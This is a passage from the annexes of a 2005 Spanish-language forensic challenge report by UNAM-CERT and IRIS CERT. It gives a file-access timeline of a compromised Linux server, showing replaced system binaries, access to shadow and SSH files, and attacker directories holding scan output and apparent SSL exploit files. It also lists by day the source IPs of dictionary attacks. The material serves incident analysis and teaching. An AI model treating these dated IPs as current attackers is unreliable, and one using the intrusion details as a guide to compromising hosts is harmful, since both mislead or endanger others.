29 ene 15:21 /usr/include/libmilter ..
29 ene 15:21 /usr/include/mysql ..
29 ene 15:21 /bin chmod
29 ene 15:21 /lib libext-2.so.7
29 ene 15:21 /lib .
29 ene 15:21 /lib/i686 ..
29 ene 15:21 /lib/kbd ..
29 ene 15:21 /lib/iptables ..
29 ene 15:21 /lib/modules ..
29 ene 15:21 /lib/security ..
29 ene 15:21 /etc ld.so.hash
29 ene 15:21 /etc ld.so.cache
29 ene 15:21 /etc/rc.d init.d
29 ene 15:21 /etc/rc.d/init.d cycomm
29 ene 15:21 /etc/rc.d/init.d .
29 ene 15:22 / sbin
29 ene 15:22 / root
29 ene 15:22 /sbin initsk12
29 ene 15:22 /sbin init
29 ene 15:22 /sbin .
29 ene 15:22 /root .bash_history
29 ene 15:22 /root .
29 ene 15:22 /root .ssh
29 ene 15:22 /root/.ssh ..
29 ene 15:22 /root/.ssh known_hosts
29 ene 15:22 /root/.ssh .
29 ene 15:22 /etc shadow-
29 ene 15:25 / etc
29 ene 15:25 /etc shadow
29 ene 15:25 /etc passwd
29 ene 15:25 /etc .
29 ene 15:25 /etc/opt ..
29 ene 15:25 /etc/cron.hourly ..
29 ene 15:25 /etc/httpd ..
29 ene 15:25 /etc/dhcpc ..
29 ene 15:25 /etc/default ..
29 ene 15:25 /etc/skel ..
29 ene 15:25 /etc/iproute2 ..
29 ene 15:25 /etc/makedev.d ..
29 ene 15:25 /etc/hotplug ..
29 ene 15:25 /etc/security ..
29 ene 15:25 /etc/openldap ..
29 ene 15:25 /etc/alternatives ..
29 ene 15:25 /etc/mail ..
29 ene 15:25 /etc/rpm ..
29 ene 15:25 /etc/X11 ..
29 ene 15:25 /etc/rc.d ..
29 ene 15:25 /etc/profile.d ..
29 ene 15:25 /etc/ppp ..
29 ene 15:25 /etc/locale ..
29 ene 15:25 /etc/mrtg ..
29 ene 15:26 /var/log
38

Titulo: Informe Técnico Reto Forense V2.0
Fecha: 18/ Feb/ 2005 UNAM-CERT/ IRIS CERT
29 ene 15:27 / .bash_history
29 ene 15:27 /tmp .info
29 ene 15:36 /var/tmp w00t
29 ene 15:36 /var/tmp/w00t 200.207.pscan.139
29 ene 15:36 /var/tmp/w00t .
29 ene 15:46 /var/tmp/psybnc psybnc.pid
29 ene 15:46 /var/tmp/psybnc/log psybnc.log
29 ene 15:48 /var/tmp/psybnc log
29 ene 15:48 /var/tmp/psybnc/log USER1.TRL
29 ene 15:48 /var/tmp/psybnc/log .
29 ene 15:49 /var/tmp/psybnc motd
29 ene 15:49 /var/tmp/psybnc/motd USER1.MOTD
29 ene 15:49 /var/tmp/psybnc/motd .
29 ene 17:53 /var/tmp/psybnc psybnc.conf.old
29 ene 17:53 /var/tmp/psybnc psybnc.conf
30 ene 4:02 /var/spool/mqueue xfj0UA22F27603
30 ene 4:02 /var/spool/mqueue dfj0UA22F27603
30 ene 4:02 /tmp logwatch.XXLltDIY
30 ene 4:02 /tmp makewhatisnuAB1j
30 ene 4:02 /tmp/logwatch.XXLltDIY xferlog
30 ene 4:02 /tmp/logwatch.XXLltDIY messages
30 ene 4:02 /tmp/logwatch.XXLltDIY cron
30 ene 4:02 /tmp/logwatch.XXLltDIY secure
30 ene 4:02 /tmp/logwatch.XXLltDIY samba
30 ene 4:02 /tmp/logwatch.XXLltDIY maillog
30 ene 4:02 /tmp/logwatch.XXLltDIY .
30 ene 4:02 /tmp/makewhatisnuAB1j .
30 ene 4:22 /var/lock makewhatis.lock
30 ene 4:22 /var/lock .
30 ene 4:22 /var/lock/subsys ..
30 ene 4:22 /var/cache/man whatis
30 ene 4:22 /var/spool/anacron cron.weekly
30 ene 4:22 /var lock
30 ene 4:22 /tmp makewhatisLZwx4z
30 ene 4:22 /tmp/makewhatisLZwx4z .
30 ene 4:22 /tmp/makewhatisLZwx4z w
30 ene 4:22 /bin cp
31 ene 3:12 /var/tmp/psybnc USER1.LOG
31 ene 3:12 /var/tmp/psybnc .
31 ene 3:12 /var/tmp/psybnc/scripts ..
31 ene 3:12 /var/tmp/psybnc/help ..
31 ene 3:12 /var/tmp/psybnc/menuconf ..
31 ene 3:12 /var/tmp/psybnc/tools ..
31 ene 3:12 /var/tmp/psybnc/motd ..
31 ene 3:12 /var/tmp/psybnc/log ..
31 ene 3:12 /var/tmp psybnc
31 ene 4:02 /var/lib logrotate.status
31 ene 4:02 /var/lib rpm
31 ene 4:02 /var/lib/rpm .
31 ene 4:02 /var/log rpmpkgs
31 ene 4:02 /var/log .
31 ene 4:02 /var/spool/anacron cron.daily
31 ene 4:02 /var log
31 ene 4:12 /var/lib slocate
31 ene 4:12 /var/lib/slocate slocate.db
31 ene 4:12 /var/lib/slocate .
31 ene 11:54 /var/tmp/w00t ..
31 ene 11:54 /var/tmp/psybnc ..
31 ene 11:54 /var/tmp/selena ..
31 ene 11:54 /var/tmp/selena ssvuln
31 ene 11:54 /var tmp
31 ene 11:54 /var/tmp .
39

Titulo: Informe Técnico Reto Forense V2.0
Fecha: 18/ Feb/ 2005 UNAM-CERT/ IRIS CERT
31 ene 12:02 /var/tmp/selena 217.172.pscan.443
31 ene 12:02 /var/tmp/selena oops
31 ene 12:02 /var/tmp/selena 217.172.ssl
31 ene 12:02 /var/tmp/selena .
31 ene 12:02 /var/tmp selena
31 ene 12:03 /bin setserial
31 ene 12:03 /bin ping
31 ene 12:03 /bin netstat
31 ene 12:03 /bin mt
31 ene 12:03 /bin mktemp
31 ene 12:03 /bin mknod
31 ene 12:03 /bin mkdir
31 ene 12:03 /bin mail
31 ene 12:03 /bin ls
31 ene 12:03 /bin ln
31 ene 12:03 /bin hostname
31 ene 12:03 /bin ed
31 ene 12:03 /bin df
31 ene 12:03 /bin dd
31 ene 12:03 /bin cpio
31 ene 12:03 /bin chown
31 ene 12:03 /bin chgrp
31 ene 12:03 /var/tmp/selena/sslex
31 ene 12:03 /var/tmp/selena/217.172.ssl.out
31 ene 12:03 /var/tmp/selena/ssx
31 ene 12:03 /var/tmp/selena/sslx
31 ene 12:03 /var/tmp/selena/ssl
31 ene 12:03 /var/tmp .bash_history
31 ene 13:31 /var/spool/mqueue dfj0VJV0A25551
31 ene 13:31 /tmp/logwatch.XXLltDIY ..
31 ene 13:31 /tmp/makewhatisnuAB1j ..
31 ene 13:31 /tmp/makewhatisLZwx4z ..
31 ene 13:31 /tmp .
31 ene 13:31 / tmp
31 ene 14:59 /var/spool/mqueue qfj0VJV0A25551
31 ene 15:20 /var/spool/mail root
31 ene 15:20 /var/spool/mail .
31 ene 15:20 /var/spool/mqueue .
31 ene 15:20 /var/spool mqueue
31 ene 15:20 /var/spool mail
31 ene 15:20 /etc/mail statistics
31 ene 15:25 /etc/mrtg mrtg.ok
31 ene 15:25 /etc/mrtg .
31 ene 15:25 /etc mrtg
40

Titulo: Informe Técnico Reto Forense V2.0
Fecha: 18/ Feb/ 2005 UNAM-CERT/ IRIS CERT
Anexo 4.
Resumen del ataque de diccionario, el origen de los ataques por día,
estos se dieron en cantidades que van desde 2 hasta 100 o mas ataques
por IP origen, se intento adivinar el password usando usuarios como
root, admin., apache, nobody, entre otros:
Enero 21:
Intentos desde 80.81.32.242.
Intentos desde 67.19.122.170
Intentos desde 209.0.206.183
Enero 22:
Intentos desde 209.152.182.194.
Intentos desde 64.151.73.180
Intentos desde 63.247.140.66
Enero 23:
Intentos desde 209.152.182.194.
Intentos desde 64.151.73.180
Intentos desde 63.247.140.66
Enero 24:
Intentos desde 148.231.192.8.
Enero 26:
Intentos desde 81.181.141.21.
Intentos desde 210.0.186.2.
Intentos desde 211.251.242.68
Intentos desde 212.93.136.214
Enero 27:
Intentos desde 212.93.136.214.
Intentos desde 218.151.155.35
Enero 28:
Intentos desde 69.19.179.50.
Intentos desde 218.200.36.124
Enero 29:
Intentos desde 203.131.125.156.
Intentos desde 61.220.91.20.
Intentos desde 216.116.104.39
41